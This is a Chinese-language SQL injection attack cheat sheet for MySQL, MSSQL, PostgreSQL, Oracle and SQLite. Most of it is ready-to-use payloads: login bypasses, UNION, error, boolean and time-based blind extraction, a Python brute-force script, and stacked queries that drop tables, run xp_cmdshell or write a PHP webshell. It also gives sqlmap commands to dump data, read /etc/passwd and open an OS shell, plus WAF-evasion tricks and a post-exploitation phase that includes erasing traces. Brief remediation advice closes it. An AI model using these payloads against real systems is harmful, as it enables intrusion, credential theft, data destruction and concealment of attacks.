覆盖 MySQL / MSSQL / PostgreSQL / Oracle / SQLite 五大引擎。实战导向,不讲基础语法。
| 位置 | 示例 |
|---|
| GET 参数 | ?id=1 |
| POST 表单 | username=admin&pass=123 |
| Cookie | Cookie: session=abc' |
| HTTP Header | User-Agent, Referer, X-Forwarded-For |
| JSON Body | {"id": "1' OR 1=1--"} |
| RESTful Path | /api/users/1 → /api/users/1' |
| XML 参数 | SOAP 接口中的字段值 |
# 1. 单引号 / 双引号 / 括号 — 看是否报 SQL 错误
'
"
)
'))
# 2. 逻辑测试
' OR '1'='1
' OR '1'='2
1 AND 1=1
1 AND 1=2
# 3. 算术测试
?id=1 → 正常
?id=2-1 → 同 id=1 的结果 → 数字型
?id=1'+'1 → 同 id=2 的结果 → 字符型(MySQL)
?id=1' AND '1'='1 → 字符型确认
# 4. 闭合测试 — 尝试注释掉后续 SQL
' --
' #
' ) --
')) --
# Burp Suite → Intruder → 对参数 fuzz 单引号/双引号/括号
# sqlmap 初步探测
sqlmap -u "http://target/page?id=1" --batch --level=3 --risk=2
# 使用 --crawl 自动发现参数
sqlmap -u "http://target" --crawl=3 --batch --forms
如果页面不显示 SQL 结果但行为有变化:
' OR SLEEP(5)-- → 延迟 = 时间盲注
' OR 1=1-- vs ' OR 1=2-- → 页面差异 = 布尔盲注
- 触发自定义错误页面 → 可能存在错误注入
| 特征 | DBMS |
|---|
@@version 返回值 | MySQL / MSSQL |
version() 返回值 | PostgreSQL / MySQL |
错误含 You have an error in your SQL syntax | MySQL |
错误含 Unclosed quotation mark | MSSQL |
错误含 ORA- 前缀 | Oracle |
错误含 SQLite | SQLite |
错误含 pg_ 前缀函数 | PostgreSQL |
Web 服务器 IIS + 错误含 ODBC | MSSQL |
-- MySQL
SELECT @@version;
SELECT version();
-- MSSQL
SELECT @@version;
SELECT SERVERPROPERTY('productversion');
-- PostgreSQL
SELECT version();
-- Oracle
SELECT banner FROM v$version;
SELECT version FROM v$instance;
-- SQLite
SELECT sqlite_version();
-- 通用探测(逐个尝试,哪个报错最少就是哪个)
' UNION SELECT NULL-- ← MSSQL / MySQL / PG 都能用
' UNION SELECT NULL FROM dual-- ← Oracle 特有
| 函数 | MySQL | MSSQL | PostgreSQL | Oracle | SQLite |
|---|
version() / @@version | ✅ | ✅ | ✅ | ❌ | ❌ |
current_user | ✅ | ✅ | ✅ | ✅ | ❌ |
user() | ✅ | ✅ | ❌ | ❌ | ❌ |
database() | ✅ | ❌ | ✅(current_database) | ❌ | ❌ |
db_name() | ❌ | ✅ | ❌ | ❌ | ❌ |
sqlite_version() | ❌ | ❌ | ❌ | ❌ | ✅ |
# 万能密码(字符型)
admin' OR '1'='1' --
admin' OR '1'='1' #
admin' OR 1=1 -- -
admin" OR "1"="1" --
') OR ('1'='1' --
') OR 1=1 -- -
# 万能密码(数字型)
OR 1=1
OR 1=1 --
# 绕过特定登录逻辑
admin'-- ← 注释掉密码检查
'=' ' ← username=''='' AND password=''='' → True
' OR ''=' ← 类似效果
' OR 1=1 LIMIT 1 -- ← 限制只返回一行
-- Step 1: 确定列数
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY N-- - ← 报错时 N-1 即为列数
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- - ← 逐个增加直到不报错
-- Step 2: 确定回显列
' UNION SELECT 1,2,3-- - ← 哪些数字出现在页面上就是回显列
-- Step 3: 提取数据
-- 版本
' UNION SELECT 1,@@version,3-- -
-- 当前数据库
' UNION SELECT 1,database(),3-- -
-- 所有数据库
' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata-- -
-- 表名
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='target_db'-- -
-- 列名
' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -
-- 数据
' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users-- -
-- 无 information_schema 时(MySQL 4 低权限)
' UNION SELECT 1,group_concat(table_name),3 FROM mysql.tables_priv-- -
-- MySQL 5+: extractvalue / updatexml
' AND extractvalue(1,concat(0x7e,(SELECT @@version),0x7e))-- -
' AND updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)-- -
-- MySQL: 利用 floor + rand + group by 报错
' AND (SELECT 1 FROM (SELECT count(*),concat((SELECT @@version),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
-- MySQL: exp() 报错 (5.5~5.7)
' AND exp(~(SELECT * FROM (SELECT @@version)a))-- -
-- MSSQL: convert/cast 报错
' AND 1=convert(int,(SELECT @@version))-- -
' AND 1=cast((SELECT @@version) as int)-- -
-- PostgreSQL: CAST 报错
' AND 1=cast((SELECT version()) as int)-- -
-- Oracle: XMLType 报错
' AND 1=XMLType('||(SELECT version FROM v$instance)||'>')-- -
-- 提取数据示例(MySQL extractvalue,长度限制 32 字符,需 substr)
' AND extractvalue(1,concat(0x7e,substr((SELECT group_concat(username,0x3a,password) FROM users),1,31),0x7e))-- -
' AND extractvalue(1,concat(0x7e,substr((SELECT group_concat(username,0x3a,password) FROM users),32,31),0x7e))-- -
-- 判断数据库名长度
' AND length(database())=N-- -
-- 逐字符爆破数据库名
' AND ascii(substr(database(),1,1))>N-- -
' AND ascii(substr(database(),1,1))=N-- -
-- 爆破表名
' AND ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))=N-- -
-- 爆破列名
' AND ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1))=N-- -
-- 爆破数据
' AND ascii(substr((SELECT username FROM users LIMIT 0,1),1,1))=N-- -
# sqlmap 自动化布尔盲注
sqlmap -u "http://target/?id=1" --technique=B --batch --dump
# Python 脚本自动化模板
import requests
target = "http://target/page?id=1"
result = ""
for i in range(1, 50):
for c in range(32, 127):
payload = f"' AND ascii(substr(database(),{i},1))={c}-- -"
r = requests.get(target + payload)
if "正常内容" in r.text: # 替换为实际判断条件
result += chr(c)
break
print(result)
-- MySQL
' AND IF(ascii(substr(database(),1,1))>96,SLEEP(5),0)-- -
' AND IF(length(database())=8,SLEEP(5),0)-- -
-- MSSQL
'; IF (ascii(substring((SELECT TOP 1 table_name FROM information_schema.tables),1,1))>64) WAITFOR DELAY '0:0:5'-- -
-- PostgreSQL
'; SELECT CASE WHEN (ascii(substr(current_database(),1,1))>64) THEN pg_sleep(5) ELSE pg_sleep(0) END-- -
-- Oracle
' AND CASE WHEN (ascii(substr((SELECT banner FROM v$version WHERE rownum=1),1,1))>64) THEN dbms_pipe.receive_message('a',5) ELSE NULL END IS NULL-- -
-- SQLite(无 SLEEP,用 heavy query 代替)
' AND CASE WHEN (unicode(substr(sqlite_version(),1,1))>51) THEN randomblob(999999999) ELSE 0 END-- -
# sqlmap 时间盲注
sqlmap -u "http://target/?id=1" --technique=T --time-sec=5 --batch --dump
# 使用 --string 参数指定判断条件(如果响应差异明显)
sqlmap -u "http://target/?id=1" --technique=B --string="Welcome" --batch
-- 前提:后端允许执行多条 SQL 语句(MySQL 默认不允许,MSSQL/PG/Oracle 允许)
-- MySQL(需要支持,如 PDO::ATTR_EMULATE_PREPARES = false)
'; DROP TABLE users;-- -
'; INSERT INTO users(username,password) VALUES('hacker','pass123');-- -
-- MSSQL
'; EXEC xp_cmdshell('whoami');-- -
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;-- -
-- PostgreSQL
'; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id';-- -
'; SELECT * FROM cmd_exec;-- -
-- 添加管理员账号
'; INSERT INTO admin(username,password) VALUES('xyvora','hash_of_password');-- -
-- 写 Webshell (MySQL + FILE 权限)
'; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';-- -
Phase 1 — 信息收集
├── 收集目标 URL / 参数 / API 端点
├── 识别 Web 技术栈(Wappalyzer / whatweb)
└── 确定 DBMS 类型(错误页面 / Header / 响应特征)
Phase 2 — 注入点探测
├── 手动测试:单引号/双引号/括号
├── 自动扫描:sqlmap --crawl / Burp Scanner
└── 确定注入类型:回显 / 布尔 / 时间 / 错误 / 堆叠
Phase 3 — 数据库枚举
├── 确认当前用户 + 权限
│ ├── current_user / user()
│ ├── super_priv (MySQL) / IS_SRVROLEMEMBER('sysadmin') (MSSQL)
│ └── SELECT has_database_privilege / has_schema_privilege
├── 枚举数据库
│ └── information_schema.schemata / db_name()
├── 枚举表
│ └── information_schema.tables WHERE table_schema='目标库'
├── 枚举列
│ └── information_schema.columns WHERE table_name='目标表'
└── 提取敏感数据
└── users / admin / credentials 表
Phase 4 — 权限提升 & 横向移动
├── 检查 FILE 权限 (MySQL: secure_file_priv)
├── 检查能否执行系统命令
│ ├── MSSQL: xp_cmdshell
│ ├── PostgreSQL: COPY FROM PROGRAM
│ └── MySQL: UDF / INTO OUTFILE + Webshell
├── 读取敏感文件
│ ├── /etc/passwd, /etc/shadow
│ ├── .env, config.php, wp-config.php
│ └── SSH 私钥
└── 写入 Webshell / 反弹 Shell
Phase 5 — 后渗透
├── 提取数据库中所有密码 hash
├── 密码破解(hashcat / john)
├── 检查其他数据库中的横向凭据
└── 清理痕迹
# GET 请求
sqlmap -u "http://target/page?id=1" --batch --dump
# POST 请求
sqlmap -u "http://target/login" --data="user=admin&pass=123" --batch
# 从 Burp 请求文件
sqlmap -r request.txt --batch --dump
# Cookie 注入
sqlmap -u "http://target/page" --cookie="id=1*" --batch (* 标记注入点)
# Header 注入
sqlmap -u "http://target/page" --headers="X-Forwarded-For: 1*" --batch
# 指定注入技术
sqlmap -u "http://target/?id=1" --technique=BEUST # B=布尔 E=错误 U=联合 S=堆叠 T=时间
# 指定数据库
sqlmap -u "http://target/?id=1" --dbms=mysql
# 指定参数
sqlmap -u "http://target/?id=1&name=test" -p id
# 指定 Level 和 Risk
sqlmap -u "http://target/?id=1" --level=5 --risk=3
# 枚举数据库
sqlmap -u "http://target/?id=1" --dbs
# 枚举表
sqlmap -u "http://target/?id=1" -D target_db --tables
# 枚举列
sqlmap -u "http://target/?id=1" -D target_db -T users --columns
# 转储数据
sqlmap -u "http://target/?id=1" -D target_db -T users --dump
# 转储指定列
sqlmap -u "http://target/?id=1" -D target_db -T users -C "username,password" --dump
# 转储所有数据库
sqlmap -u "http://target/?id=1" --dump-all --exclude-sysdbs
# 执行自定义 SQL
sqlmap -u "http://target/?id=1" --sql-query="SELECT @@version"
# 检查 DBA 权限
sqlmap -u "http://target/?id=1" --is-dba
# 读取文件
sqlmap -u "http://target/?id=1" --file-read="/etc/passwd"
# 写入文件
sqlmap -u "http://target/?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
# OS Shell
sqlmap -u "http://target/?id=1" --os-shell
# SQL Shell(交互式 SQL)
sqlmap -u "http://target/?id=1" --sql-shell
# WAF 绕过
sqlmap -u "http://target/?id=1" --skip-waf --random-agent
# 使用 tamper 脚本
sqlmap -u "http://target/?id=1" --tamper=space2comment,between,randomcase
sqlmap -u "http://target/?id=1" --tamper=charencode # URL 编码
sqlmap -u "http://target/?id=1" --tamper=apostrophemask # UTF-8 全角
# 自定义前缀/后缀
sqlmap -u "http://target/?id=1" --prefix="%'))" --suffix="-- -"
# CSRF Token 绕过
sqlmap -u "http://target/page" --csrf-token="token" --csrf-url="http://target/get-token"
# 参数随机化
sqlmap -u "http://target/?id=1&uid=123" --randomize=uid
# 计算参数(如 md5)
sqlmap -u "http://target/?id=1&h=xxx" --eval="import hashlib; h=hashlib.md5(id).hexdigest()"
# 代理
sqlmap -u "http://target/?id=1" --proxy="http://127.0.0.1:8080"
# 延迟(避免被封)
sqlmap -u "http://target/?id=1" --delay=2
# 多线程
sqlmap -u "http://target/?id=1" --threads=10
| Tamper | 作用 |
|---|
space2comment | 空格 → /**/ |
between | > → NOT BETWEEN 0 AND,= → BETWEEN |
randomcase | 随机大小写 |
charencode | URL 编码 |
apostrophemask | 单引号 → UTF-8 全角 |
halfversionedmorekeywords | 每个关键字前加 MySQL 注释 |
versionedmorekeywords | 用 /*!...*/ 包裹关键字 |
space2plus | 空格 → + |
unionalltounion | UNION ALL → UNION |
equaltolike | = → LIKE |
| DBMS | 行注释 | 行内注释 |
|---|
| MySQL | -- (注意空格), # | /* */ |
| MSSQL | -- | /* */ |
| PostgreSQL | -- | /* */ |
| Oracle | -- | /* */ |
| SQLite | -- | /* */ |
| DBMS | 语法 |
|---|
| MySQL | CONCAT('a','b') |
| MSSQL | 'a'+'b' 或 CONCAT('a','b') (2012+) |
| PostgreSQL | 'a'||'b' 或 CONCAT('a','b') |
| Oracle | 'a'||'b' 或 CONCAT('a','b') |
| SQLite | 'a'||'b' |
| DBMS | 语法 |
|---|
| MySQL | LIMIT 10 OFFSET 5 或 LIMIT 5,10 |
| MSSQL | SELECT TOP 10 ... / OFFSET 5 ROWS FETCH NEXT 10 ROWS ONLY |
| PostgreSQL | LIMIT 10 OFFSET 5 |
| Oracle | WHERE ROWNUM <= 10 / OFFSET 5 ROWS FETCH NEXT 10 ROWS ONLY (12c+) |
| SQLite | LIMIT 10 OFFSET 5 |
-- MSSQL: FOR XML PATH
SELECT username+','+password FROM users FOR XML PATH('')
-- PostgreSQL: STRING_AGG
SELECT string_agg(username||':'||password,',') FROM users
-- Oracle: LISTAGG
SELECT LISTAGG(username,',') WITHIN GROUP (ORDER BY id) FROM users
-- SQLite: GROUP_CONCAT
SELECT group_concat(username||':'||password,',') FROM users
| DBMS | 支持堆叠 | 说明 |
|---|
| MySQL | ❌ (默认) | PDO::ATTR_EMULATE_PREPARES=true 时不允许; mysqli_multi_query 可 |
| MSSQL | ✅ | ; 分隔即可 |
| PostgreSQL | ✅ | ; 分隔即可 |
| Oracle | ⚠️ | 仅支持 PL/SQL 块 BEGIN ... END; |
| SQLite | ✅ | ; 分隔即可 |
| DBMS | 方法 |
|---|
| MySQL | UDF / INTO OUTFILE + Webshell |
| MSSQL | xp_cmdshell / sp_OACreate |
| PostgreSQL | COPY cmd FROM PROGRAM 'cmd' / pg_exec() |
| Oracle | DBMS_PIPE.RECEIVE_MESSAGE (间接) / Java Stored Procedure |
| 目标 | MySQL | MSSQL | PostgreSQL | Oracle |
|---|
| 数据库列表 | schemata | sys.databases | schemata | all_users |
| 表列表 | tables | sys.objects | tables | all_tables |
| 列列表 | columns | sys.columns | columns | all_tab_columns |
| 当前用户 | user() | suser_sname() | current_user | SYS_CONTEXT('USERENV','SESSION_USER') |
| 当前库 | database() | db_name() | current_database() | SYS_CONTEXT('USERENV','DB_NAME') |
/**/ ← MySQL 注释替代空格
%09 ← Tab (水平制表符)
%0a ← 换行符
%0b ← 垂直制表符
%0c ← 换页符
%0d ← 回车符
%a0 ← 不间断空格 (某些 WAF 不检测)
+ ← URL 中的加号 (GET 参数)
# 大小写混合
SeLeCt, UnIoN, FrOm
# 双写(WAF 只替换一次)
UNIunionON, SELselectECT
# 内联注释
/*!50000UNION*/ /*!50000SELECT*/ 1,2,3-- -
/*!UNION*/ /*!SELECT*/ 1,2,3-- -
# 等号绕过
LIKE → ' AND 1 LIKE 1-- -
BETWEEN → ' AND 1 BETWEEN 1 AND 1-- -
IN → ' AND 1 IN (1)-- -
REGEXP → ' AND 1 REGEXP '1'-- - (MySQL)
RLIKE → 同上
# 无引号注入(数字型)
?id=1 AND 1=1-- -
?id=1 AND ascii(substr(database(),1,1))=100-- -
# 十六进制
0x61646D696E → 'admin'
CHAR(97,100,109,105,110) → 'admin' (MSSQL)
# 宽字节注入(GBK 编码)
%bf%27 → \xbf' → GBK 解码为 運' → 单引号逃逸
# URL 双重编码
%2527 → %27 → '
%2520 → %20 → 空格
# Unicode / UTF-8 全角
' (U+FF07) → 全角单引号
+ (U+FF0B) → 全角加号
# Base64(部分应用自动解码)
# Hex 编码
# 同一参数传多次
?id=1&id=1' OR 1=1-- -
# 不同 WAF / 后端取值策略不同
# Cloudflare 取第一个,IIS 取最后一个,JSP 取所有(逗号拼接)
POST /page HTTP/1.1
Transfer-Encoding: chunked
5
1' OR
6
1=1-- -
0
Burp 插件:HTTP Request Smuggler 或 Chunked coding converter
# 超长请求体(部分 WAF 不扫描大 payload)
# 垃圾参数填充(WAF 超时跳过)
# 大小写 Content-Type 变换
# 使用 HTTP/2(部分 WAF 不能解析)
# JSON 注入(WAF 不解析 JSON body)
{"id": "1' OR 1=1-- -"}
# HQL 注入(Hibernate 查询语言,绕过 SQL 层 WAF)
1. 漏洞概述
- 漏洞类型:SQL Injection (具体分类)
- 严重程度:Critical / High / Medium
- 影响范围:受影响的 URL / API / 参数
2. 漏洞详情
- 注入点:具体的 URL + 参数
- 注入类型:Union / Boolean / Time / Error / Stacked
- DBMS 类型:MySQL / MSSQL / ...
- 数据库版本:x.x.x
3. 复现步骤
Step 1: 打开 URL
Step 2: 在参数 id 中输入 payload: xxx
Step 3: 观察响应 / 等待延迟
4. 证据截图
- Burp 请求/响应截图
- sqlmap 输出截图
- 提取到的数据截图(脱敏)
5. 影响评估
- 可提取的敏感数据类型(用户凭据、个人信息)
- 是否可提权(读写文件、RCE)
- 潜在业务影响
6. 修复建议
- 使用参数化查询 / 预编译语句(首选)
- 输入验证 + 白名单
- 最小权限原则
- WAF 作为辅助防线(非替代)
| 场景 | 建议评分 |
|---|
| SQLi + 可读取任意数据 | Critical (9.0+) |
| SQLi + DBA 权限 + RCE | Critical (10.0) |
| SQLi + 仅布尔盲注、数据有限 | High (7.5-8.9) |
| SQLi + 需要管理员权限才能触发 | Medium (4.0-6.9) |
【代码层面】
- 使用参数化查询 (PreparedStatement / ORM)
错误: query = "SELECT * FROM users WHERE id=" + user_input
正确: query = "SELECT * FROM users WHERE id=?" + bind(user_input)
- 使用存储过程(但存储过程内也不能拼接 SQL)
- 输入验证:白名单允许的字符集,长度限制
【架构层面】
- 最小权限:数据库连接账号不要用 root / sa
- 禁用危险功能:xp_cmdshell, FILE 权限, UDF
- 错误信息脱敏:生产环境不返回 SQL 错误给用户
【辅助防线】
- WAF 规则更新(作为额外层,不能替代代码修复)
- 数据库审计日志
- IDS/IPS 检测异常 SQL 模式
| 工具 | 用途 |
|---|
| sqlmap | 全自动 SQL 注入检测 + 利用 |
| Burp Suite | 手动测试 + Intruder 爆破 + Scanner |
| Havij | GUI 自动化(仅 MySQL/MSSQL,过时但偶尔有用) |
| JSky / Pangolin | 国产 SQL 注入工具 |
| NoSQLMap | NoSQL 注入(MongoDB / CouchDB) |
| SQLiPy | Burp 插件,调用 sqlmap API |
| commix | 命令注入工具(有时与 SQLi 组合利用) |
判断注入: ' " ) AND 1=1 AND 1=2
判断列数: ORDER BY N / UNION SELECT NULL,NULL,...
回显列: UNION SELECT 1,2,3
版本: @@version / version()
当前库: database() / db_name()
所有库: schemata
表: tables WHERE schema=目标库
列: columns WHERE table=目标表
数据: GROUP_CONCAT(列) FROM 表
布尔盲注: AND ascii(substr(...))=N
时间盲注: AND IF(条件,SLEEP(5),0)
错误注入: extractvalue / updatexml / floor+rand
堆叠: ; 执行新语句
写文件: INTO OUTFILE + Webshell
读文件: LOAD_FILE() / --file-read
RCE: xp_cmdshell / COPY FROM PROGRAM / UDF